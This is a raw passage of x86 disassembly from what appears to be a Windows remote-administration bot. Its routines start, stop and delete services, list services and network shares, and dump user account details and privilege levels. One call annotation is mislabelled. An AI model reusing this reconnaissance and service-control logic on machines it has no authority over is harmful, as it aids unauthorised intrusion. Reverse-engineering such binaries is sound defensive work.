jnz short loc_418B47
loc_418B42: ; CODE XREF: sub_418AF1+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_418B47: ; CODE XREF: sub_418AF1+27j
; sub_418AF1+3Bj ...
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
call ds:dword_4270C0 ; LoadLibraryA
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
call ds:dword_4270C4 ; GetProcAddress
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41E0D4
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41E0D4
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41E0D4
lea eax, [ebp+var_F8]
push eax
call sub_41E0B7
shl eax, 1
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi ; GetProcessHeap
add esp, 3Ch
mov edi, eax
push esi
call ds:dword_427144 ; FreeLibrary
mov eax, edi
pop edi
pop esi
leave
retn
sub_418AF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418BD1 proc near ; CODE XREF: sub_40111D+F7p
; sub_40F0F1+Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul ds:dbl_4276E0
call sub_41D174
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418BD1 endp
; =============== S U B R O U T I N E =======================================
sub_418C0E proc near ; CODE XREF: sub_401ACD:loc_406021p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_418C66
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_439520[esi]
push edi
push eax
call sub_418C88
add esp, 14h
test eax, eax
jnz short loc_418C56
push edi
push off_43951C[esi]
push offset unk_439630
loc_418C46: ; CODE XREF: sub_418C0E+56j
mov esi, offset dword_4DBA40
push esi
call sub_41C266
add esp, 10h
jmp short loc_418C83
; ---------------------------------------------------------------------------
loc_418C56: ; CODE XREF: sub_418C0E+2Aj
push eax
call sub_418D2A
pop ecx
push eax
push edi
push offset unk_439604
jmp short loc_418C46
; ---------------------------------------------------------------------------
loc_418C66: ; CODE XREF: sub_418C0E+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4DBA40
push off_439518[eax*4]
push offset unk_4395E0
push esi
call sub_41C266
add esp, 0Ch
loc_418C83: ; CODE XREF: sub_418C0E+46j
mov eax, esi
pop edi
pop esi
retn
sub_418C0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C88 proc near ; CODE XREF: sub_418C0E+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4CB9C8 ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_418CAF
call ds:dword_427094 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_418D24
; ---------------------------------------------------------------------------
loc_418CAF: ; CODE XREF: sub_418C88+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4CB8B0 ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_418CCF
call ds:dword_427094 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_418D1C
; ---------------------------------------------------------------------------
loc_418CCF: ; CODE XREF: sub_418C88+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_418D02
cmp eax, 3
jz short loc_418CF3
jle short loc_418D15
cmp eax, 6
jg short loc_418D15
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4CB91C ; ControlService
jmp short loc_418D09
; ---------------------------------------------------------------------------
loc_418CF3: ; CODE XREF: sub_418C88+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4CB8B8 ; StartServiceA
jmp short loc_418D09
; ---------------------------------------------------------------------------
loc_418D02: ; CODE XREF: sub_418C88+4Dj
push esi
call dword_4CB920 ; DeleteService
loc_418D09: ; CODE XREF: sub_418C88+69j
; sub_418C88+78j
test eax, eax
jnz short loc_418D15
call ds:dword_427094 ; RtlGetLastWin32Error
mov ebx, eax
loc_418D15: ; CODE XREF: sub_418C88+54j
; sub_418C88+59j ...
push esi
call dword_4CB8CC ; CloseServiceHandle
loc_418D1C: ; CODE XREF: sub_418C88+45j
push edi
call dword_4CB8CC ; CloseServiceHandle
pop esi
loc_418D24: ; CODE XREF: sub_418C88+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_418C88 endp
; =============== S U B R O U T I N E =======================================
sub_418D2A proc near ; CODE XREF: sub_418C0E+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418DDF
jz loc_418DD8
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_418DA2
jz short loc_418D98
mov ecx, eax
sub ecx, 3
jz short loc_418D8E
dec ecx
dec ecx
jz short loc_418D84
dec ecx
jz short loc_418D7A
sub ecx, 51h
jz short loc_418D70
sub ecx, 24h
jnz loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D70: ; CODE XREF: sub_418D2A+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D7A: ; CODE XREF: sub_418D2A+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D84: ; CODE XREF: sub_418D2A+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D8E: ; CODE XREF: sub_418D2A+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D98: ; CODE XREF: sub_418D2A+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418DA2: ; CODE XREF: sub_418D2A+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_418DD1
dec ecx
jz short loc_418DCA
dec ecx
jz short loc_418DC3
dec ecx
jnz loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418DC3: ; CODE XREF: sub_418D2A+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DCA: ; CODE XREF: sub_418D2A+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DD1: ; CODE XREF: sub_418D2A+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DD8: ; CODE XREF: sub_418D2A+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DDF: ; CODE XREF: sub_418D2A+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
jz short loc_418E42
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
movzx ecx, ds:byte_418E96[ecx]
jmp ds:off_418E6E[ecx*4] ; switch jump
loc_418E03: ; DATA XREF: .text:off_418E6Eo
push offset aTheSpecifiedDa ; jumptable 00418DFC case 7
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E0A: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .text:off_418E6Eo
push offset aTheServiceDepe ; jumptable 00418DFC case 17
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E11: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .text:off_418E6Eo
push offset aTheServiceDe_0 ; jumptable 00418DFC case 10
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E18: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .text:off_418E6Eo
push offset aTheServiceHasB ; jumptable 00418DFC case 0
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E1F: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .text:off_418E6Eo
push offset aTheSpecified_0 ; jumptable 00418DFC case 2
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E26: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .text:off_418E6Eo
push offset aTheServiceCoul ; jumptable 00418DFC case 11
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E2D: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .text:off_418E6Eo
push offset aTheServiceHa_0 ; jumptable 00418DFC case 14
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E34: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .text:off_418E6Eo
push offset aTheRequested_1 ; jumptable 00418DFC case 3
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E3B: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .text:off_418E6Eo
push offset aTheServiceHasN ; jumptable 00418DFC case 4
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E42: ; CODE XREF: sub_418D2A+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_418E47: ; CODE XREF: sub_418D2A+41j
; sub_418D2A+4Bj ...
push offset dword_4DB380
call sub_41C266
pop ecx
pop ecx
jmp short loc_418E68
; ---------------------------------------------------------------------------
loc_418E55: ; CODE XREF: sub_418D2A+36j
; sub_418D2A+89j ...
push eax ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4DB380
call sub_41C266
add esp, 0Ch
loc_418E68: ; CODE XREF: sub_418D2A+129j
mov eax, offset dword_4DB380
retn
sub_418D2A endp
; ---------------------------------------------------------------------------
off_418E6E dd offset loc_418E18 ; DATA XREF: sub_418D2A+D2r
dd offset loc_418E1F ; jump table for switch statement
dd offset loc_418E34
dd offset loc_418E3B
dd offset loc_418E03
dd offset loc_418E11
dd offset loc_418E26
dd offset loc_418E2D
dd offset loc_418E0A
dd offset loc_418E55
byte_418E96 db 0, 9, 1, 2 ; DATA XREF: sub_418D2A+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EA8 proc near ; CODE XREF: sub_401ACD+44D6p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4CB9C8 ; OpenSCManagerA
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_418EE0: ; CODE XREF: sub_418EA8+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4CB994 ; EnumServicesStatusA
test eax, eax
jnz short loc_418F1A
call ds:dword_427094 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_418FCE
loc_418F1A: ; CODE XREF: sub_418EA8+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_418FC5
lea esi, [ebp+var_188]
loc_418F2B: ; CODE XREF: sub_418EA8+117j
mov eax, [esi+8]
dec eax
jz short loc_418F74
dec eax
jz short loc_418F6D
dec eax
jz short loc_418F66
dec eax
jz short loc_418F5F
dec eax
jz short loc_418F58
dec eax
jz short loc_418F51
dec eax
jz short loc_418F4A
push offset aUnknown_0 ; " Unknown"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F4A: ; CODE XREF: sub_418EA8+99j
push offset aPaused ; " Paused"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F51: ; CODE XREF: sub_418EA8+96j
push offset aPausing ; " Pausing"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F58: ; CODE XREF: sub_418EA8+93j
push offset aContinuing ; " Continuing"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F5F: ; CODE XREF: sub_418EA8+90j
push offset aRunning ; " Running"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F66: ; CODE XREF: sub_418EA8+8Dj
push offset aStoping ; " Stoping"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F6D: ; CODE XREF: sub_418EA8+8Aj
push offset aStarting ; " Starting"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F74: ; CODE XREF: sub_418EA8+87j
push offset aStopped ; " Stopped"
loc_418F79: ; CODE XREF: sub_418EA8+A0j
; sub_418EA8+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS_2 ; "%s: %s (%s)"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_418F2B
loc_418FC5: ; CODE XREF: sub_418EA8+77j
cmp [ebp+var_8], ebx
jnz loc_418EE0
loc_418FCE: ; CODE XREF: sub_418EA8+6Cj
push [ebp+var_C]
call dword_4CB8CC ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_418EA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FE5 proc near ; CODE XREF: sub_401ACD:loc_406064p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_41907F
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_41900E
dec eax
jnz short loc_41905F
push edi
push 0
call sub_4191B8
pop ecx
pop ecx
jmp short loc_41905B
; ---------------------------------------------------------------------------
loc_41900E: ; CODE XREF: sub_418FE5+18j
cmp [ebp+arg_8], 0
jnz short loc_41904D
push 24h
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz short loc_41904D
push 57h
pop eax
loc_419025: ; CODE XREF: sub_418FE5+78j
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB63C
push off_439518[eax*4]
push offset unk_439BC4
push esi
call sub_41C266
add esp, 14h
jmp short loc_41909F
; ---------------------------------------------------------------------------
loc_41904D: ; CODE XREF: sub_418FE5+2Dj
; sub_418FE5+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_41910C
add esp, 0Ch
loc_41905B: ; CODE XREF: sub_418FE5+27j
test eax, eax
jnz short loc_419025
loc_41905F: ; CODE XREF: sub_418FE5+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB63C
push off_43951C[eax*4]
push offset dword_439BA8
push esi
call sub_41C266
add esp, 10h
jmp short loc_41909F
; ---------------------------------------------------------------------------
loc_41907F: ; CODE XREF: sub_418FE5+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB63C
lea eax, [eax+eax*2]
push off_439518[eax*4]
push offset unk_439B84
push esi
call sub_41C266
add esp, 0Ch
loc_41909F: ; CODE XREF: sub_418FE5+66j
; sub_418FE5+98j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_418FE5 endp
; =============== S U B R O U T I N E =======================================
sub_4190A5 proc near ; CODE XREF: sub_41A3C6+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_4190B2
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4190B2: ; CODE XREF: sub_4190A5+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, ds:dword_427188
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test byte_4DB83C, 1
mov ebp, eax
jnz short loc_4190EF
or byte_4DB83C, 1
lea eax, [ebp+1]
push eax
call sub_41D9A5
pop ecx
mov dword_4DB5DC, eax
loc_4190EF: ; CODE XREF: sub_4190A5+32j
push esi
push esi
push ebp
push dword_4DB5DC
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, dword_4DB5DC
pop edi
pop ebp
pop ebx
pop esi
retn
sub_4190A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41910C proc near ; CODE XREF: sub_418FE5+6Ep
; sub_41A6EA+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov edi, eax
call sub_419177
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41C990
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_419177
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4CB8C8
pop edi
leave
retn
sub_41910C endp
; =============== S U B R O U T I N E =======================================
sub_419177 proc near ; CODE XREF: sub_41910C+Ap
; sub_41910C+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_419184
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419184: ; CODE XREF: sub_419177+9j
push ebx
push esi
mov esi, ds:dword_4270E8
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41D9A5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_419177 endp
; =============== S U B R O U T I N E =======================================
sub_4191B8 proc near ; CODE XREF: sub_418FE5+20p
; sub_41A3C6+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419177
push [esp+8+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4CB8A0
pop esi
retn
sub_4191B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4191DB proc near ; CODE XREF: sub_401ACD+45AEp
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_419177
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 18h
loc_419214: ; CODE XREF: sub_4191DB+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4CB918
mov ebx, eax
cmp ebx, esi
jz short loc_419277
cmp ebx, 0EAh
jz short loc_419277
push ebx
push ebx
call sub_4199AC
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_439C10
push eax
call sub_41C266
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 24h
jmp short loc_4192E4
; ---------------------------------------------------------------------------
loc_419277: ; CODE XREF: sub_4191DB+5Dj
; sub_4191DB+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_4192DB
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_419285: ; CODE XREF: sub_4191DB+FCj
push dword ptr [esi+10h]
call dword_4CB8BC ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_41929C
mov eax, offset aNo ; "No"
loc_41929C: ; CODE XREF: sub_4191DB+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_419285
xor esi, esi
loc_4192DB: ; CODE XREF: sub_4191DB+A2j
push [ebp+var_4]
call dword_4CBA64
loc_4192E4: ; CODE XREF: sub_4191DB+9Aj
cmp ebx, 0EAh
jz loc_419214
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4191DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192FC proc near ; CODE XREF: sub_401ACD:loc_4060EDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_4193A1
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_41933E
dec eax
jz short loc_419333
dec eax
jnz short loc_419359
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_419443
add esp, 14h
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_419333: ; CODE XREF: sub_4192FC+1Dj
push ebx
push edi
call sub_419422
pop ecx
pop ecx
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_41933E: ; CODE XREF: sub_4192FC+1Aj
cmp [ebp+arg_8], edi
jz short loc_419352
push [ebp+arg_8]
push ebx
push edi
call sub_4193C8
add esp, 0Ch
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_419352: ; CODE XREF: sub_4192FC+45j
push 57h
pop eax
loc_419355: ; CODE XREF: sub_4192FC+35j
; sub_4192FC+40j ...
cmp eax, edi
jnz short loc_419379
loc_419359: ; CODE XREF: sub_4192FC+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB840
push off_43951C[eax*4]
push offset unk_439CC8
push esi
call sub_41C266
add esp, 10h
jmp short loc_4193C1
; ---------------------------------------------------------------------------
loc_419379: ; CODE XREF: sub_4192FC+5Bj
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB840
push off_439518[eax*4]
push offset unk_439C98
push esi
call sub_41C266
add esp, 14h
jmp short loc_4193C1
; ---------------------------------------------------------------------------
loc_4193A1: ; CODE XREF: sub_4192FC+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB840
lea eax, [eax+eax*2]
push off_439518[eax*4]
push offset unk_439C70
push esi
call sub_41C266
add esp, 0Ch
loc_4193C1: ; CODE XREF: sub_4192FC+7Bj
; sub_4192FC+A3j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4192FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193C8 proc near ; CODE XREF: sub_4192FC+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov edi, eax
call sub_419177
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_419177
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4CB8AC
pop edi
leave
retn
sub_4193C8 endp
; =============== S U B R O U T I N E =======================================
sub_419422 proc near ; CODE XREF: sub_4192FC+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419177
push [esp+8+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
push eax
push esi
call dword_4CB89C
pop esi
retn
sub_419422 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419443 proc near ; CODE XREF: sub_4192FC+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4CBA2C
test eax, eax
mov [ebp+arg_0], eax
jnz loc_4197EB
mov eax, [ebp+var_4]
test eax, eax
jz loc_419826
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41C266
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
mov eax, [eax+10h]
sub eax, 0
jz short loc_419562
dec eax
jz short loc_41955B
dec eax
jz short loc_419554
mov eax, offset aUnknown ; "Unknown"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_419554: ; CODE XREF: sub_419443+108j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_41955B: ; CODE XREF: sub_419443+105j
mov eax, offset aUser_3 ; "User"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_419562: ; CODE XREF: sub_419443+102j
mov eax, offset aGuest ; "Guest"
loc_419567: ; CODE XREF: sub_419443+10Fj
; sub_419443+116j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
